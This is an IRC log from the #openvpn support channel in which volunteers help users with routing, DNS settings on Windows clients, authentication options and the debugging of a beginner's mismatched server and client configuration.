04:53 < Dark_Apostrophe> But the configuration itself, assuming IP and all are correct, is OK?
04:54 <@krzee> dunno didnt see them you set them too short
04:54 <@krzee> gnite
04:54 < Dark_Apostrophe> good night
04:58 < adnap> Even if a VPN had many users, an attacker might be able to deduce which traffic belongs to which client by network analysis
05:00 < adnap> So if the attacker could intercept unencrypted traffic between the VPN and Internet and encrypted traffice between the VPN and the client and the attacker could deduce the client who requested the data by network analysis, there would be no privacy at all
05:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:51 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:52 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
06:04 -!- aegis [~aegis@184.75.214.18] has quit [Ping timeout: 240 seconds]
06:18 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
06:19 -!- JRocha [~JRocha@200.189.189.47] has quit [Remote host closed the connection]
06:23 -!- klein_ [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:23 -!- klein_ [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:23 -!- klein_ [~klein@unaffiliated/klein] has joined #openvpn
06:34 < giorgiodinapoli> hey guys, my openvpn nat routing stuff wporks now, but i often loose the connection! what can be the reason for that behaviour, how can i debug it
06:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:42 < Dark_Apostrophe> giorgiodinapoli, I've got very little experience with OpenVPN, but have you checked that it isn't an actual connection error, as opposed to a VPN error? Try pinging the server continuously for a while without the VPN connection (if it's set to allow ping), and see if it drops any packets. If it does, then the VPN isn't to blame. If it doesn't, well.. I have no more ideas. :P
06:45 -!- blal [~Callum@82.199.155.15] has joined #openvpn
06:47 -!- giorgiodinapoli [~giorgiodi@146.52.162.17] has quit [Quit: Verlassend]
06:58 < blal> On a linux client, the tunneling worked last night, I changed absolutely nothing and now I ca';t even ping around the VPN O_o Windows client works fine, so I assume it's on the linux client end. Does anyone have aany idea? I've been googling but to no avail
06:58 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has joined #openvpn
07:09 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has quit [Read error: Operation timed out]
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:33 -!- aegis [~aegis@184.75.214.18] has joined #openvpn
07:47 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 256 seconds]
07:52 -!- gardar [~gardar@gardar.net] has joined #openvpn
07:53 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
07:55 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
08:04 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
08:05 -!- Fuehrer [Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
08:09 -!- blal [~Callum@82.199.155.15] has quit [Ping timeout: 260 seconds]
08:10 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has joined #openvpn
08:15 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:21 -!- Fuehrer [Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Quit: Leaving]
08:23 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
08:23 < julius_> hi
08:26 < julius_> i have a question that is not directly relatet to openvpn, i want todo a port forwarding over a openvpn connection. this is my network setup: http://s11.postimg.org/8i5yrtp0j/network_setup.png          and this is what i tried: http://pastebin.ca/2442932
08:26 < julius_> i just want to reach the rdp server on the box behind the firewall
08:29 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 248 seconds]
08:29 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:32 < julius_> http://pastebin.ca/2442935   updated setup
08:34 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has quit [Remote host closed the connection]
08:50 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
08:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:55 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
08:55 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
08:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:04 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Connection reset by peer]
09:05 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has quit [Quit: Leaving]
09:20 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:41 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds]
09:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
09:53 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:53 -!- klein_ [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
09:55 -!- sysRPL [~bobswagga@97.101.214.44] has joined #openvpn
09:55 < sysRPL> hello
09:56 < sysRPL> is anyone here awake?
09:58 <@ecrist> yup
10:00 <@ecrist> !ask
10:00 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
10:00 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
10:02 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
10:02 < havoc> does openvpn support multiple auth schemes?
10:03 < havoc> I'd like to have most clients auth via AD/LDAP, but have a few use key auth only
10:03 < sysRPL> hi, i am reviewing openvpn for the first time. i was wondering, is it easy to write a remote desktop client with openvpn where the openvpn remote desktop window can be embedded inside my application; that is inside one of my windows?
10:03 < havoc> is that something I'd accomplish via a ccd script?
10:04 < havoc> or can multiple auth methods be specified in main server conf, and first success wins?
10:04 < sysRPL> rather than writing an application which displays a top level window controlled by an openvpn daemon?
10:04 <@ecrist> havoc: it's easiest to use an --client-connect script to handle the juggling of auth methods
10:05 <@ecrist> sysRPL: openvpn is a networking utility
10:05 <@ecrist> it doesn't manage RDP/VNC or the like
10:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:07 < sysRPL> ecrist, oh, i thought it provided some form of remote desktop functionality
10:08 < sysRPL> so it's strictly for mapping network resources, like drives and printers, for computers over the internet?
10:09 < s0meone> No, it connects network segments.
10:09 < havoc> sysRPL: no, it's is a VPN
10:10 < havoc> sysRPL: http://en.wikipedia.org/wiki/OpenVPN
10:10 <@vpnHelper> Title: OpenVPN - Wikipedia, the free encyclopedia (at en.wikipedia.org)
10:11 < sysRPL> this video shows openvpn being used for remote desktop ... http://www.youtube.com/watch?v=f1P97cTZxTs&noredirect=1
10:11 <@vpnHelper> Title: How to connect remotely to your office machine using OpenVPN - YouTube (at www.youtube.com)
10:11 < havoc> sysRPL: a network is used for RDP too
10:13 < sysRPL> ah
10:14 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
10:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:24 -!- klein_ [~klein@unaffiliated/klein] has joined #openvpn
10:28 -!- raidz_away is now known as raidz
10:31 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
10:35 < rooth> I'm very much a beginner at OpenVPN and may be wrong but isn't it true that OpenVPN sets up a control-channel first (like IPsec IKE), and then, securely, creates the data-channel (like IPsec SA)? If that is correct, what are the default values for lifetime of the data and control ...
10:35 < rooth> ... channel respectively?
10:36 < rooth> I tried searching for lifetime but maybe the term should be something else? I just got hits on the --reneg but nowhere could I find the defaults.
10:36 < rooth> bah. 3600 is the default (was blind).
10:37 < rooth> However, is that true for both the control and data-channel?
10:37 < rooth> Or am I not understanding the mechanisms correctly?
10:41 < rob0> The control channel and data flow over the same socket, typically UDP.
10:41 < rob0> You might have to dig in source code, or wait for one of the several code contributors who are here.
10:44 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:49 -!- sauce [~sauce@unaffiliated/sauce] has quit [Max SendQ exceeded]
10:52 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
10:57 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 240 seconds]
10:58 < rooth> rob0: Thanks anyway! I've idled here for a few years so a I'll hangaround a bit more =)
11:01 < rob0> in that time have you looked at your own --verb 4 logs? You should thereby be able to deduce how long they last.
11:01 < rob0> oh, one weird thing I have noticed:
11:02 < rob0> sometimes logs will say that TLS negotiation failed (after each 60-second timeout period) and yet the data channel continues to work, with the VPN usable.
11:16 -!- klein_ [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:34 -!- adnap [~adnap@70.112.164.154] has joined #openvpn
11:35 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
11:35 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Read error: Operation timed out]
11:46 -!- klein_ [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
11:46 -!- klein_ [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
11:46 -!- klein_ [~klein@unaffiliated/klein] has joined #openvpn
12:36 < dougy[work]> whats poppin in #openvpn today
12:36 -!- dougy[work] is now known as dougy
12:36 -!- dougy is now known as dougy[work]
12:39 -!- klein_ [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
12:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
12:51 -!- Rumbles [~Rumbles@31.205.54.123] has joined #openvpn
12:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:06 -!- Rumbles [~Rumbles@31.205.54.123] has quit [Ping timeout: 264 seconds]
13:07 < havoc> that's it, when I get the TAP->TUN migration done I'm just adding routes for 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16, with high metrics
13:08 < havoc> pushing too many routes to vpn clients :(
13:11 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:14 <+pekster> Metrics aren't generally useful
13:14 < havoc> they have been for me
13:14 <+pekster> Routes are selected based on most specific match; dynamic routing tends to use weights, not metrics, today
13:15 < havoc> ...and I'm not using dynamic routing
13:15 <+pekster> Right
13:15 <+pekster> Thus you shouldn't be using metrics
13:15 < havoc> not sure how/why, but ok
13:15 <+pekster> Metrics are even ignored on Linux; you should be using weight and nexthop with Linux if you _are_ doing dynamic and/or policy routing
13:15 <+pekster> Look, the route manpage even says the metric is unused in Linux. You should be using the `ip` command anyway, and ip-route manpage doesn't even mention it
13:15 < havoc> all windows clients
13:16 <+pekster> tl;dr: if you think you need metrics, you're doing it wrong
13:16 < havoc> I can't see any other way to do it in this specific instance
13:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:17 < Eugene> So take off the blindfold and do it the right way, not the way you know
13:17 < havoc> again, I see no other way in this instance
13:18 < havoc> I have 2 lan locations, connected via vpn, and 2 client configs per client, one direct connection to each of the 2 locations
13:19 < Eugene> !google ospf
13:19 <@vpnHelper> Open Shortest Path First - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Open_Shortest_Path_First>; Internetworking Technology Handbook - Open Shortest Path First ...: <http://www.cisco.com/en/US/docs/internetworking/technology/handbook/OSPF.html>; What is OSPF (Open Shortest Path First)? - Definition from WhatIs.com:
13:19 <@vpnHelper> <http://searchenterprisewan.techtarget.com/definition/OSPF>
13:19 < havoc> so users can always be connected to both, yet still have access to both if/when one's connection is down
13:19 < Eugene> Metrics are the wrong way. Period.
13:20 < havoc> I use ospf for site to site links
13:21 < havoc> to use ospf, or any dynamic routing, in this instance, would require that the client supports it, and acts as a router
13:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:28 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
13:31 < Azrael_-> if you have a local dns (e.g. for intranet) and also get dns from 1-2 vpns, is there a way to route all dns-requests to the correct servers or to chain them (client is a windows one)
13:31 -!- Rumbles [~Rumbles@31.205.54.123] has joined #openvpn
13:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
13:40 -!- p3rror [~mezgani@41.249.85.48] has joined #openvpn
13:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:45 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
13:47 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
13:48 -!- Rumbles [~Rumbles@31.205.54.123] has quit [Ping timeout: 264 seconds]
13:48 < havoc> Azrael_-: if your dns is setup "properly" it should just work
13:49 < havoc> it will depend on the domain of the client, and how the remote dns servers are configured
13:49 <+pekster> Re: dynamic routing, you'll use the nexthop/weight to do multipathing
13:49 < havoc> but you can either push the dns servers from ovpn server, or statically configure them on the client
13:50 < Azrael_-> i have no control over the vpn-servers, so no chance to weight or configure them, just thought there was a clean way on the client side to achive this
13:50 < havoc> Azrael_-: again, you can statically configure on client
13:50 < Azrael_-> ok
13:51 < Azrael_-> but how do i weight a dns-server?
13:51 < havoc> Azrael_-: or write a .bat to do it for you
13:51 < Azrael_-> no idea yet how this is done on windows
13:51 < havoc> Azrael_-: windows "weights" them in order
13:52 < havoc> e.g.: netsh interface ipv4 set dnsservers name="Local Area Connection" source=static register=none address=8.8.8.8
13:52 < havoc> and: netsh interface ipv4 add dnsservers name="Local Area Connection" address=8.8.4.4
13:52 < Azrael_-> k, will give it a try
13:52 < havoc> that just sets the primary and secondary servers for the LAN connection to Google's DNS
13:53 < Azrael_-> thanks
13:53 < havoc> pekster: I'm trying to work out how I'd work that out in this situation with the windows clients
13:56 < havoc> pekster: I'm not finding anything
13:57 < havoc> hmm, *may* not matter though
13:58 < havoc> but if I only use nexthop (gateway) then both connections *must* be connected at all times
14:09 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-psmxvjupiddgbsul] has quit [Ping timeout: 264 seconds]
14:11 <+pekster> havoc: Just push a route for what you want. You seem to think you have multiple routes for the same CIDR network that have different gateways
14:11 <+pekster> The solution to that is generally obvious: don't do it (unless you intend to use a routing daemon, in which case you should set it up according to its own documentation. ie: ospf/bgp/whatever)
14:16 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-isxiuyzeqwbicyoy] has joined #openvpn
14:30 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-isxiuyzeqwbicyoy] has quit [Ping timeout: 248 seconds]
14:34 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-cuyykuiskvtkogot] has joined #openvpn
14:37 -!- Devastatr [~devas@186.214.111.40] has joined #openvpn
14:38 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
14:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:43 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 264 seconds]
14:53 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
15:01 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
15:14 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
15:25 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
15:25 < hyper_ch> hmmm, for ipv6, how can I pass a ipv6 dns server to the client?
15:25 < hyper_ch> or is this fixed meanwhile:  https://community.openvpn.net/openvpn/ticket/243
15:25 <@vpnHelper> Title: #243 (Allow IPV6 addresses in dhcp-options) – OpenVPN Community (at community.openvpn.net)
15:37 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
15:37 < map> hey y'all
15:37 < map> !welcome
15:37 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
15:37 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:38 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Go on, try it!]
15:41 < map> ive installed and i thought started openvp but it appears to not be running tried to telnet localhost 1194..nothing anyway its ubuntu 13.04 im using - where can i check for error logs? im a bit stuck as to what to do now..i thought id set it up right..ive got tun0 showing in ifconfig
15:42 < map> thanks
15:43 < hyper_ch> map: on *buntu it creates an entry in the init.d that auto-starts it when you boot the computer and it processes all the *.conf files in the /etc/openvpn/  folder...
15:43 < hyper_ch> as long as you didn't specifiy a server or client config file in there, nothing happens
15:44 < map> thanks pal - ok so maybe my config file is wrong il trey and check but when i do service openvpn start i dont get any errors
15:44 < hyper_ch> add an entry to the config file:   verb 3
15:44 < hyper_ch> and:    log openvpn.log
15:45 < hyper_ch> that will create an according log
15:45 < hyper_ch> and if necessary, set verb to a different level
15:45 < map> ok thanks il add that to conf file
15:45 < hyper_ch> and then service openvpn restart
15:45 < hyper_ch> to restart vpn and you should have logs
16:03 -!- Devastatr [~devas@186.214.111.40] has quit [Changing host]
16:03 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
16:03 -!- Devastatr is now known as Devastator
16:12 -!- Denial [Denial@05417302.skybroadband.com] has quit []
16:14 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
16:41 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
16:44 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
16:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
16:51 -!- master_o1_master [~master_of@p4FF24B0C.dip0.t-ipconnect.de] has joined #openvpn
16:54 -!- master_of_master [~master_of@p4FD7BCF3.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
16:54 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:58 < map> thanks hyper_ch
17:00 < map> hey
17:00 < map> are you around hyper_ch  quick question -0 in the conf it says #which ip to listen on
17:00 < map> ;local a.b.c.d
17:00 < map> can i just put local and nothing else |? or do i need to specify an IP
17:01 <+pekster> map: Omit the option unles you need to bind to a specific IP
17:01 <+pekster> The default is to use the wildcard address to bind to "any" interface
17:01 < rob0> If you omit --local, the system uses its routing table to decide the outgoing IP address.
17:01 < map> so what do i put..as it says local and i havent left it
17:01 < map> so i can leave it?
17:01 <+pekster> If it's commented like that, yes (unless you had special needs)
17:02 < map> no needs at all..just wondering why server isnt starting
17:02 < map> its creating tun0 when i start openvpn but doesnt appear to be running
17:02 < rob0> --local requires an argument, which is a valid IP address on your system which is capable of connecting to --remote. If you want the default leave it out.
17:03 < map> i just want it to use whatever IP my machine has
17:03 < rob0> (leave it commented, that is)
17:03 < map> thanks
17:04 < map> i dont see any errors on openvpn.log
17:04 < map> but telnet localhost 1194 says connection refused..so cant be running?
17:04 -!- p3rror [~mezgani@41.249.85.48] has quit [Quit: Leaving]
17:05 <+pekster> telnet uses TCP, while openvpn defaults to UDP (which is preferred)
17:05 <+pekster> Don't test openvpn ports with telnet
17:05 < map> ah yes
17:05 <+pekster> Are you the client? The client will not listen for connections; it establishes outbound ones
17:05 < map> sorry how can i check? i dont think it is running though - but i see no errors on openvpn.log
17:05 < map> and also
17:05 < map> im running server on ubuntu machine got a client gui on win7
17:06 < map> but the client can't connect
17:06 <+pekster> Logs will say why
17:06 <+pekster> !logs
17:06 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:06 <+pekster> Also helpful will be:
17:06 <+pekster> !config
17:06 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
17:06 <+pekster> !configs
17:06 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:06 < map> thanks
17:07 < map> lets see
17:09 < map> http://pastebin.com/kaivFnz8 - openvpn.log
17:10 < map> http://pastebin.com/8HcnpVtb -- server.conf
17:17 <+pekster> The server has started fine from that log output; there's no error, nor is there a client connection
17:17 <+pekster> If your _client_ is the one failing, you need to provide logs from it
17:18 < map> oh
17:18 <+pekster> And stripping the comments next time makes it a lot easier to read
17:18 < map> sorry
17:21 < map> ok bit confused ca.crt clien1.crt and client1.key are in c:\user\mark\my documents\ - the example client conf file uses \\ fr the location path but if i use \\ it says file cant be round when i use single \ no error but doesnt connect
17:22 <+pekster> Logs will either tell you the startup sequence completed or there was an error
17:22 < map> ok
17:23 < map> i guess it can find the files now..nothing in log when  i right0click view log
17:23 < map> http://pastebin.com/V8qxk5V3 -- client.ovpn cant see where ive gone wrong
17:29 < map> totally stuck now!
17:36 < rob0> I am pretty sure you have to double your backslashes as Windows path separators.
17:36 < map> ok ss -ap lists tcp ucon 1194 -
17:37 < map> so ive messed up the client somehow?
17:38 <+pekster> You have a few issues
17:38 < map> oh
17:39 < map> any chance you could tell me what they are so i can try and solve this
17:39 <+pekster> 1) your comp-lzo settings don't match. They must match. 2) reneg-sec is pointless as you've used it since the server will reneg after 3600 anyway; either disable it on one end by setting it to 0, or use the same on both ends
17:39 < rob0> Unless you had a real good reason to change it, you should have left --proto out. Use UDP.
17:39 <+pekster> 3) did you intend to use --management-hold? You do undersatnd that this will "wait" to start the VPN until you send it a hold release command, right?
17:39 < map> i used the example config and the documentation on the ubuntu site;/
17:39 <+pekster> (and it'll ask for your key passwords via management)
17:40 <+pekster> Then you used crappy documentation
17:40 < map> not sure what comp-lzo is to be honest
17:40 <+pekster> !howto
17:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
17:40 <+pekster> Considering there's about 6 mistakes for typical use, that's pretty impressive
17:40 < map> thanks
17:41 < map> would i be best off starting from scratch?
17:42 <+pekster> Depends on how much else was done incorrectly
17:43 <+pekster> If it's just the client config, use the correct documentation and reference your key/cert files and the right remote address
17:48 < map> i thought i need cert /key files locally for each client..i need to link them remotely?!
17:48 < map> hmm
17:48 < map> il read this howto
17:53 <+pekster> Every system requires the ca.crt file, plus all clients doing client-auth by certs (and of course the server) need their own keypairs signed by the CA
17:53 <+pekster> The howto covers this
18:18 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:25 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
18:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
19:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
20:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:18 -!- raidz is now known as raidz_away
20:38 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 264 seconds]
20:50 -!- Poster|x is now known as Poster
21:19 -!- VioByte [~unknown@unaffiliated/viobyte] has quit [Read error: Connection reset by peer]
21:20 -!- memand [~memand@0119600834.0.fullrate.dk] has joined #openvpn
21:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
21:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:25 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds]
21:29 < memand> Is there a way to set up the server to fire some certain commands when a specifik computer connects to the network?
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:21 <@krzee> Azrael_-, it is also possible to use dnsmasq to forward requests to the appropriate server based on how you configure it
22:21 <@krzee> but i doubt that exists on windows
22:56 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
22:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
22:59 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 264 seconds]
22:59 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
22:59 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
22:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds]
22:59 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
22:59 -!- mode/#openvpn [+o plai] by ChanServ
23:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
23:00 -!- mode/#openvpn [+o dazo_afk] by ChanServ
23:00 -!- dazo_afk is now known as dazo
23:00 -!- Champi [Champi@rootshell.fr] has joined #openvpn
23:03 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
23:16 < hyper_ch> hmmm, for ipv6, how can I pass a ipv6 dns server to the client? or is this fixed meanwhile:  https://community.openvpn.net/openvpn/ticket/243
23:16 <@vpnHelper> Title: #243 (Allow IPV6 addresses in dhcp-options) – OpenVPN Community (at community.openvpn.net)
23:37 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
23:38 -!- mode/#openvpn [+v pekster] by ChanServ
23:59 -!- [1]JPeterson [HydraIRC@host-90-233-197-172.mobileonline.telia.com] has quit [Ping timeout: 264 seconds]
23:59 < map> is there a howto or guide for the config file for the windows client
23:59 < map> !goal
23:59 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:59 <+pekster> The config file is the same on all clients
23:59 < map> oh
--- Day changed Wed Sep 04 2013
00:00 < map> but before you said i had a messed up config file so i wondered how to know what it sghould be
00:00 <+pekster> You had at least 1 obvious error, and several settings you probably didn't intend
00:01 < map> yea
00:01 <+pekster> I am suggesting you set up your config file the "standard" way by starting with the template the howto offers you that has verbose comments so you understand what you did and why
00:01 < map> ok
00:01 < map> thanks
00:02 <+pekster> I closed your links from earlier, but as I recall, your server setup was pretty typical, so you shouldn't need any exotic client options to pair with it
00:02 < map> yea
00:02 < map> so i messed up the client ok il look at the howto and the client part there thanks
00:06 -!- JPeterson [HydraIRC@host-90-233-178-93.mobileonline.telia.com] has joined #openvpn
00:17 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
00:26 < map> a h so comp-lzo is compression
00:26 < map> aha
00:28 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:44 < map> this is tricky i just cant connect at all :)
00:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
00:53 < map> the annoying thing is i dont get any errors other than connect failed and nothng in logs!
00:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:12 -!- adnap_ [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
01:13 -!- adnap [~adnap@70.112.164.154] has quit [Ping timeout: 268 seconds]
01:18 -!- memand [~memand@0119600834.0.fullrate.dk] has quit [Quit: WeeChat 0.4.1]
01:29 < hyper_ch> hmmm, I assume I can't push nameservers when using IPv6?
01:35 < map> clearly i dont know;D cant even get it working:D
01:37 < hyper_ch> it works for ipv4... but I can't get it to work with ipv6
01:39 < map> im a bit confused with how to setup the config file for a windows client..i see lots of examples but nowhere tellin what everything is
01:40 < hyper_ch> linux/windows... config file is all the same except for two things:  (1) paths are different if you don't have certs in the same folder (2) on linux config files end with .conf and on windows .ovpn
01:41 < map> ah ok
01:41 < map> so all the stuff like comp-lza and nobind will be explained under the linux part?
01:41 < hyper_ch> I have no idea what you mean by "will be explained under the linux part"
01:42 < map> well when i was reading about windows client config there's no mention of what say persist-tun means
01:43 < map> and i see these inda things in example client configs -- i just mean will the Linux section of the HOWTO sau what they all mean
01:43 < map> all the options
01:43 < hyper_ch> read up on the man page
01:43 < hyper_ch> it is explained there
01:44 < map> ah
01:45 < hyper_ch> you use ipv4 or ipv6?
01:45 < map> ipv4
01:46 < hyper_ch> !config
